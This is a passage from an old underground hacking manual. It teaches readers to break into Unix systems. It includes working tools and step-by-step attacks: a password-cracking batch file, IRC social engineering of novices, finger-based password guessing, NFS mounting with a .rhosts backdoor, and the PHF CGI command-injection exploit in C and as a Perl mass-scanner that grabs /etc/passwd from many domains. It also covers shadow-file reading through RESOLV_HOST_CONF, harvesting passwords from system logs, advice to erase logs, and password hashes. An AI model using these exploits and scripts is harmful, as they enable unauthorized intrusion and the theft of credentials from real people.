-gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1 jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1 jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1 --------------- end of jackhash.bat You can get password files without an account, see next chapter. ------------------ Section 2B. Talking to newbe's ------------------ There are other ways to get an account without doing much work. Park yourself on an irc channel that you made with a title about hacking. Also try joining other channels already on the irc. Channels would include: #hacking #unix #unixhacking #hack #hackers #hacker #virus #virii #hackers_hideout or any others you can find. Now what you are looking for are newbe's looking to learn or exploit their shell they are on already. There is always someone out there that does not know as much as you. Watch for someone out there that asks a newbe question and gets no answer or even kicked off the channel. Here is your mark ;) /msg him so that others can't see that you are talking to him, and begin to ask him questions, try to help him, but not too much ;) Finally tell him that you can login for him and do it. This could be to snatch the passwd file or god knows what. Promise him the world and get that login password. Now you have a start and can start your on-hands learning process. If you get root on the system you might not want to expose that to him, but you can feed him other goodies that will keep him busy while you sniff some other passwords on the system. So now if there are some out there that remember i-e when you gave him your login and password, you can be sure that the above never happened rin ... I tend to like to help people learn so I am telling the truth when i say I have dealt honestly with most everyone I have come across. ------------- Section 2C. The hard way ------------- There is another way you can do this. Be sure that on most big systems that users do not use secure passwords. from a shell do this: finger @domainname.com Watch I will do a real domain: [10:35am][/home/ii]finger @starnet.net [starnet.net] Login Name Tty Idle Login Time Office Office Phone chris Chris Myers p2 4:46 Jan 27 11:19 mike Mike Suter p1 4:57 Jan 22 16:14 mike Mike Suter p5 3d Jan 16 15:35 root System Administrator p3 4:59 Jan 16 10:17 wendt Catherine Wendt-Bern p0 3 Jan 21 14:49 [10:35am][/home/ii] Now we might want to try logging in later, log this information: Login chris Password try: Chris, chris, myers, Myers, chrismyers, etc... This one looks good, wendt:Catherine:catherine Here is another command: [10:35am][/home/ii]finger -l @starnet.net [starnet.net] Login: mike Name: Mike Suter Directory: /usra/staff/mike Shell: /bin/csh On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk No Plan. Login: root Name: System Administrator Directory: /root Shell: /bin/csh On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net Mail forwarded to: \chris@admin.starnet.net #\chris@admin.starnet.net, \mike@admin.starnet.net No Plan. Login: wendt Name: Catherine Wendt-Bernal Directory: /usra/staff/wendt Shell: /bin/csh On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout No Plan. You get more info to play with ;) I know this can make you tired .... Remember this stuff will log your tries, so if you get on and get root, clean the logs ;) Here is a small .c file you can use if you get on. pop3hack.c ----- cut here #include #include #include #include #include #include #include #include #include /* First, define the POP-3 port - almost always 110 */ #define POP3_PORT 110 /* What we want our program to be masked as, so nosy sys admin's don't kill us */ #define MASKAS "vi" /* Repeat connect or not - remember, logs still report a connection, so you might want to set this to 0. If set to 0, it will hack until it finds 1 user/password then exit. If set to 1, it will reconnect and try more user/passwords (until it runs out of usernames) */ #define RECONNECT 0 ----- cut here You could also write a small perl script that will finger @ from a domain list and cat the response to a file, then when done it will go back and try to login using pop3d username-username (or other info) and putting the response into another file for you. You can ftp to rs.internic.net: in the domain directory you will find: com.zone.gz edu.zone.gz gov.zone.gz mil.zone.gz net.zone.gz org.zone.gz download these files and run getdomain.pl (script below) on the domains you want to target first, in this manor: "perl getdomain.pl com.zone com >com.all" What this will do is rip all of the .COM domains and put them into a file called comm.all. If you wanted to do all of the .EDU addresses you would type: perl getdomain.pl edu.zone edu >edu.all Now you will have a list to use with your probe called edu.all Here is the perl script getdomain.pl ---- cut here #!/usr/bin/perl # GetDomain By Nfin8 / Invisible Evil # Questions /msg i-e or /msg i^e # # Retrieve command line arguments. my($inputfile, $domain) = @ARGV; usage() if (!defined($inputfile) || !defined($domain)); # Open and preprocess the input file. open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n"); my(@lines) = ; # Initialize main data structure. my(%hash) = {}; my($key) = ""; foreach (@lines) { $key = (split(/\ /))[0]; chop($key); next if ((($key =~ tr/.//) < 1) || (uc($domain) ne uc(((split(/\./, $key))[-1]))) || ($key =~ m/root-server/i)); $hash{$key}++; } # Close input file and output data structure to STDOUT. close(INFILE); foreach (sort(keys(%hash))) { print "$_\n"; } sub usage { print("\n\ngetdomain:\n"); print("Usage: getdomain [inputfile] [search]\n\n"); print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n"); exit(0); } 0; ---- cut here - end of script ----- To use the script above all you need to do is copy between the lines above and name it getdomain.pl, now copy it into the unix os and type chmod +x getdomain.pl Now it is ready to run with the command lines above. ------------------------------------------ Section 2D. using Mount to gain access to unix systems ------------------------------------------ This is not hard to do and there are many systems out there that are mountable. Mount is a command in unix that will allow you to mount remote machines drives you yours. This is done so you can do installs from other machines, or just share drives or directories across the network. The problem is that many admins are good with unix commands or setup. Or maybe they are just plain lazy and mount the drives with world access not understanding that the world can mount the drive and gain write access to their users directories. What you will need to get started here is a hacked root account. To be able to mount the remote drive and gain access you will need to modify the system's password file and use the su command. Ok let's say we have root access. let's get started! You can see if another system has mountable drives by using the showmount command. From root account: $root> showmount -e wwa.com mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive Ok, no problem, this domain will not work, go on to the next one... $root> showmount -e seva.net Export list for seva.net: /var/mail pluto.seva.net /home/user1 pluto.seva.net /usr/local pluto.seva.net,rover.seva.net /export/X11R6.3 rover.seva.net /export/rover rover.seva.net,pluto.seva.net /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone) Notice the (everyone), this would be good if we wanted to install linux from this guy's box, but we want open directories to users.... so go on to the next one... $root> showmount -e XXXXX.XXX < this one worked ... find your own ;) Export list for XXXXX.XXX: /export/home (everyone) Now this guy mounted his home directory, the user accounts are off of the home directory ;) and look above ... (everyone) can access it! Ok, this section was to show you how to see if they are mountable, in the next section i will show you how to mount and hack it. But for now, here is a script that will scan for EVERY DOMAIN on the internet that is mountable and log them for you. To use this script simply use the domain ripper in the PHF section and download the needed files from rs.internic.net rip some domains and name the file 'domains' and startup the script. To make it run in the background put a & after the command. like this: cmount.pl& How it works: When you run the file it will go to the domains list and run showmount -e on each domain, if it finds that there is a return on mountable drives it will save the info in the current directory in files named: domain.XXX.export. All you have to do is view the files and mount the drives! --------------- start of cmount.pl #!/usr/bin/perl -w # # Check NFS exports of hosts listed in file. # (Hosts are listed, once per line with no additional whitespaces.) # # ii@dormroom.pyro.net - 2/27/97. # Assign null list to @URLs which will be added to later. my(@result) = (); my(@domains) = (); my($program) = "showmount -e "; # Pull off filename from commandline. If it isn't defined, then assign default. my($DomainFilename) = shift; $DomainFilename = "domains" if !defined($DomainFilename); # Do checking on input. die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename); # Open $DomainFilename. open(DOMAINFILE, $DomainFilename) or die("mountDomains: Cannot open $DomainFilename for input.\n"); while () { chomp($_); print "Now checking: $_"; # Note difference in program output capture from "geturl.pl". open (EXECFILE, "$program $_ |"); @execResult = ; next if (!defined($execResult[0])); if ($execResult[0] =~ /^Export/) { print " - Export list saved."; open (OUTFILE, ">$_.export"); foreach (@execResult) { print OUTFILE; } close (OUTFILE); } close(EXECFILE); print "\n"; } # We are done. Close all files and end the program. close (DOMAINFILE); 0; ----------------- end of cmount.pl Ok, now on to mounting the drives .... lets say we did a showmount -e domain.com and got back: Export list for domain.com: / (everyone) /p1 (everyone) /p2 (everyone) /p3 (everyone) /p5 (everyone) /p6 (everyone) /p7 (everyone) /var/spool/mail titan,europa,galifrey /tmp (everyone) We would want to mount / .. yup .... this guy has his entire system mountable! $root> mkdir /tmp/mount $root> mount -nt nfs domain.com:/ /tmp/mount If he had the home directory mountable the command would be: $root> mount -nt nfs domain.com:/home /tmp/mount To unmount the system, make sure you are out of the directory and type: $root> umount /tmp/mount Make sure you make the mount directory first, you can make this anywhere on the system that you want. If the systems /mnt directory is empty you can use it also. Ok this is for real: bash# ls -al /mnt ; making sure the mnt dir is empty ls: /mnt: No such file or directory ; there was not even a dir there ;) bash# mkdir /mnt ; lets make one for them rin bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; let's mount the sucker ... bash# cd /mnt ; changing to the mounted drive... bash# ls ; just the plain dir .. TT_DB home raddb share back local radius-961029.gz www exec lost+found radius-961029.ps bash# ; there is is up there, the home dir ... oh good ... bash# cd home bash# ls -l ; long directory listing ... tom is looking good here ;) total 18 drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file bash# pico /etc/passwd tom:x:302:2::/home:/bin/bash ; this should do it ;) bash# su - tom ; su to the tom account ... bash$ ls -l total 18 drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash$ ; NOTICE above that toms user number is gone ... we now own his dir! bash$ echo + +>>tom/.rhosts ; this will make a file in his dir called .rhosts bash$ ;inside .rhosts will be wild cards + + for anyone to rlogin to his account bash$ rlogin xxxxx.xxx we are tom on our machine, so lets just rlogin plain. Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx Sun Microsystems Inc. SunOS 5.5 Generic November 1995 > ; yup we are in! > ls -al total 8 drwxr-xr-x 2 tom group 512 Mar 1 17:10 . drwxr-xr-x 14 tom group 512 Jan 24 11:16 .. -rw-r--r-- 1 tom group 144 Dec 30 15:32 .profile -rw-r--r-- 1 tom bin 8 Mar 11 08:26 .rhosts > So now we have access, so lets just hack this system ... oops, that is another lesson! Have pun! --------------------- Chapter III Getting passwd files --------------------- Here are some ways to get password files from unix systems. Most of them you will need an account, but there is still a way to access to the system without having an account. Here you will learn the difference between a regular passwd file and a shadowed passwd file. You will also learn a way to read the shadowed password file. ------------------ Section 3A PHF WWW PH Query ------------------ There is a program in the WWW cgi-bin directory called phf, if the file is there, and has permission x, you can access it by using the www, or a text version browser in linux called lynx. Now you can read files on the system (yup .. /etc/passwd) and save them to files local in your computer. There are many things we can get done here. If the server is running their httpd server as root owner, we can be root by using phf and even change an account password on the machine. I will include a perl script here that will auto check all of the systems out there by using the getdomain.pl script above and check what the server is running under. If it is running under root, it will just log the id, if the server is not running under root, it will auto get the passwd file from the /etc directory and name it domainname.???.passwd. I will also attach a script that will allow you to use a simple command from a shell and if phf is on the system allow you to pipe commands from the shell to the remote system with one command line. Ok now that you know what is coming, lets teach you how to use phf. Use your favorite web browser, or the text version in unix called most of the time lynx, on some systems www. After the screen comes up type the letter g, now a line appears like below: URL to open: Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list You type: URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list It returns: QUERY RESULTS /usr/local/bin/ph -m alias=x id uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) So here we see it is running under a user (nobody), so we can be a user named nobody on this system. We are not root, but this will have to do ;) Notice the command line: http://afp.org/cgi-bin/phf/?Qalias=x%0aid The id was the command to the server to give us the id of the user. Some times you will have to give the full path to the file you want to run, in this case it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id Notice that after the %0a you start your command line. If you need to enter a space you would put a %20 instead of the space. Here would be some sample command lines. I will start them with %0a Cat the passwd file %0a/bin/cat%20/etc/passwd Get a long directory of the /etc directory of all files starting with pass %0als%20-al%20/etc/pass* backup the passwd file if you have root access to httpd to passwd.my %0acp%20/etc/passwd%20/etc/passwd.my Change the root passwd (if the server will let you (most times it works) %0apasswd%20root (the above should let you login without a password, make sure to copy the passwd.my file over the passwd file right away, and then delete the backup, then make yourself an suid bash shell somewhere and rename it, sniff to get your passwords) If you know how to type commands in unix and don't forget that you need to use %20 in the place of spaces, you will not have any problems! Ok lets cat the passwd file on this box ;) URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd We get: QUERY RESULTS /usr/local/bin/ph -m alias=x cat /etc/passwd root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-2:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash A small passwd file rin If you want to save this to a file in your local directory, just choose the print option in the text browser and you will get an option to save the file in your home directory. Lets learn something here: mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 1 :2 :3 :4 :5 :6 :7 1=username 2=encrypted password 3=user number 4=groop id 5=real name 6=home directory 7=shell Ok, lets say you do not want to keep using the WWW browser, here is a script you can compile to just type regular commands from your shell. phf.c ------ cut here---- /* Some small changes for efficiency by snocrash. */ /* * cgi-bin phf exploit by loxsmith [xf] * * I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to remember the syntatical format * of the exploit. Because of the host lookup mess, this will take * approximately 12 seconds to execute with average network load. Be patient. * */ #include #include #include #include #include #include #include int main(argc, argv) int argc; char **argv; { int i = 0, s, port, bytes = 128; char exploit[0xff], buffer[128], hostname[256], *command, j[2]; struct sockaddr_in sin; struct hostent *he; if (argc != 3 && argc != 4) { fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); exit(1); } command = (char *)malloc(strlen(argv[1]) * 2); while (argv[1][i] != '\0') { if (argv[1][i] == 32) strcat(command, "%20"); else { sprintf(j, "%c", argv[1][i]); strcat(command, j); } ++i; } strcpy(hostname, argv[2]); if (argc == 4) port = atoi(argv[3]); else port = 80; if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { he = gethostbyname(hostname); if (he) { sin.sin_family = he->h_addrtype; memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length); } else { fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname); exit(1); } } sin.sin_family = AF_INET; sin.sin_port = htons((u_short) port); if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "%s: could not get socket\n", argv[0]); exit(1); } if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { close(s); fprintf(stderr, "%s: could not establish connection\n", argv[0]); exit(1); } sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command); free(command); write(s, exploit, strlen(exploit)); while(bytes == 128) { bytes = read(s, buffer, 128); fprintf(stdout, buffer); } close(s); } -------- cut here Here is how you use it: bash% phf id xxx.org ------

Query Results

/usr/local/bin/ph -m alias=X id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
;
close(FILE);

# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");

my($url)="";
foreach $url (@URLs) {
  print ("Now checking: $url");
  chomp($url);
  $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
  print OUTFILE ("\n============ $url ============\n");
  foreach (split(/\n/, $result)) {
    print OUTFILE ("$_\n");
  }
  if ($result =~ m/id=/i) {
    if ($result =~ m/root/i) {
      print ("Logging root response.\n");
    } else {
      print ("Got ID response, getting /etc/passwd...");
      $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;
      
      # Output results to file named .passwd;
      local($domainfilename)="";
      $domainfilename = $url;
      if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
        print PASSWDFILE ("\n");
        foreach (split(/\n/, $result)) {
          print PASSWDFILE ("$_\n");
        }
        close(PASSWDFILE);
        print ("Done! [$domainfilename].\n");
      } else {
        print ("FAILED! [$domainfilename].\n");
      }
    }
  }
}
  
# We are done. Close the output file and end the program.
close (OUTFILE);


0;

------------- cut here

Ok this is easy, if you name your domain file urls, you are all set to go.
Just type geturl.pl after chmod +x on the file.

Here are my doc's for the file:

This handy tool is easy to use and will get you some root access and
many passwd files from different domains.

geturl.pl will try and log results for every domain on the internet.  You
choose the type: .COM .EDU .ORG .MIL .GOV  (OR) you can supply a list of
IP addresses to  be checked.  If  finds a root access account it
will simply log uid=root in the result file and go on to the next domain.
If PHF Probe finds non-root access it will snag the passwd file for you and
save it in the current directory in the (domainname.???.passwd) format.

Here are the short doc's and how it works.  Any questions /msg i-e or i^e

ftp to ftp.rs.internic.net

in the domain directory you will find:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

download these files and run getdomain.pl on the domains you want to target
first, in this manor:  "perl getdomain.pl com.zone com >com.all"

What this will do is rip all of the .COM domains and put them into a file
called com.all.

If you wanted to do all of the .EDU addresses you would type:

perl getdomain.pl edu.zone edu >edu.all

Now you will have a list to use with (geturl.pl) called edu.all

To use this list just type:

geturl.pl 

filename=edu.all or com.all  and leave out the <>'s
if you name your domain file 'urls' it does not require 

results will log into a file name of: GetURLResults in the current directory.

1. geturl.pl will search using lynx (make sure it is in your path)

2. if geturl finds it has root access to httpd on a url it will just log
   root for that domain in the result file.  If geturl finds it is not root,
   but still has access to the domain using phf it will snatch the domain
   passwd file and save it in the current directory under fulldomainname.passwd

3. if you like you can just give a list of ip addresses in the feed file

4. i use os/2 with lynx and perl ported to the hpfs so i have no problems
   with the long file names.  i have tested it under unix and it works good
   so you should have no problems running this in a unix shell.

What you need:

1. Perl in the path
2. Lynx in the path
3. 256 char filenames ie: (unix or os/2 hpfs)
4. The files included here
5. Internic's domain files from their ftp or just make your own list or
   urls or IP's and name the file 'urls' and type: geturl.pl

Caution:

It would be best if you paid cash for an internet account in your area under
another name or used a hacked account to get all of your results, then used
another safe account to start your work on the results.  BUT I don't need to
tell you this right?  I take no blame for these files, they are provided for
you to use to check security on domains ;)


 getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files
    geturl.pl: to check and log the results of each domain
GetURLResults: The file that geturl makes as its log file

Here is one more thought:

If you can read the /var/adm/messages file you can get some user passwords
out of there lotz of times!  I have even got ROOT passwords from there!

Wow many times have you been in a hurry to login?  You type the password
at the Login:  his is easy to do on one of those days that nothing seems to
be going right.  You failed the login twice, the system is running slow, and it
just happens!

Login: you hit enter
Password: you think this is wanting the login name so you type your name
Login: you type your password

In the messages file it looks like this:

Login: yourpassword
Password ****** They don't give it, only the login name, but ooops, you
typed your password, and if we have access to read the messages file,
we have a good password to put in crackerjack and run it.  If on a small
system, no prob ... lets hope it's root ;)

Here is a script to make things easy!


FOR QUANTUM'S BINDWAREZ FILE: You will find it at the end of this paper
in the appendix uuencoded.

------------ cut here

#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
# 
# http://www.escape.com/~daveg

echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$

grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$

if [ ! -e ./scrack ]
then
   echo "Creating scrack.c"
   cat << ! > scrack.c
#include 
#include 
#include 
#include 
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
   struct passwd *pwd;
   FILE *fp;
   char buff[80], salt[3], *encrypted_string;

   if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
   {
      fprintf( stderr, "Couldnt find dict file\n" );
      exit(1);
   }
   while ( fgets( buff, 80, fp ) != NULL )
   {
      setpwent();
      buff[strlen(buff)-1]='\0';
      while ( ( pwd = getpwent() ) != NULL )
      {
        if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
           ( strlen( (*pwd).pw_passwd ) == 13 ) )
        {
           get_salt(salt, (*pwd).pw_passwd );

           encrypted_string = crypt( buff, salt );
           if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
           {
             fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
             fflush(stdout);
           }
         }
      }
   }
}
!
   echo "Creating scrack"
   cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi

./scrack /tmp/messages.dict.$$

echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.

------ cut here

-----------------------
Section 3B
Newbe's
-----------------------

Yup, again, just another place to get password files.  Just follow the guide
lines in section 2B.  Use your sly ideas and get out there and make some
lame friends ;)

Remember you could have been a lammer before you read this manual rin

-----------------------------
Section 3C
Getting shadow passwd files
-----------------------------

What is a shadow password file?

Lets just use the passwd file above to show you what it would look like to you
if you cat it.

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

Something missing?  Yup, the encrypted passwords.  If you get root access the
encrypted passwords are in /etc/shadow.  Some admin's will hide the shadow file
in some weird directory somewhere, but most of the time you will find it right
in /etc.  Other shadow programs might put it in a master.passwd file.  But if
you get root just have a good look around.

Lets say you have an account on the machine and just can't get root access.

Not a problem if they are using libc 5.4.7, at this time most still are ;)
Also one of these files have to have suid perm's (no prob):

ping, traceroute, rlogin, or, ssh

1. Type bash or sh to start a bash shell
2. Type: export RESOLV_HOST_CONF=/etc/shadow
3. Type one of the file names above with asdf, like this:

ping asdf

It should cat the passwd shadow file for you if it works.
I seem to find it working on most of the systems i am going on these days.

Note: you can replace /etc/shadow with any root owned file you want to read.

Here is a quick script you can run on any file you want to make it easy:

rcb.c
-------- cut here

/* RCB Phraser - therapy in '96
 * Limits: Linux only, no binary files.
 * little personal message to the world: FUCK CENSORSHIP!
 */

#include 

void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
  system("ping xy 1> /dev/null 2> phrasing");
  unsetenv("RESOLV_HOST_CONF");
}

void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
  char *gag;
  FILE *devel;
  
  if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
  { printf("RCB Phraser - junked by THERAPY\n\n");
    printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
    exit(1);
  }
  getjunk(argv[1]);
  gag=buffer;
  gag+=10;
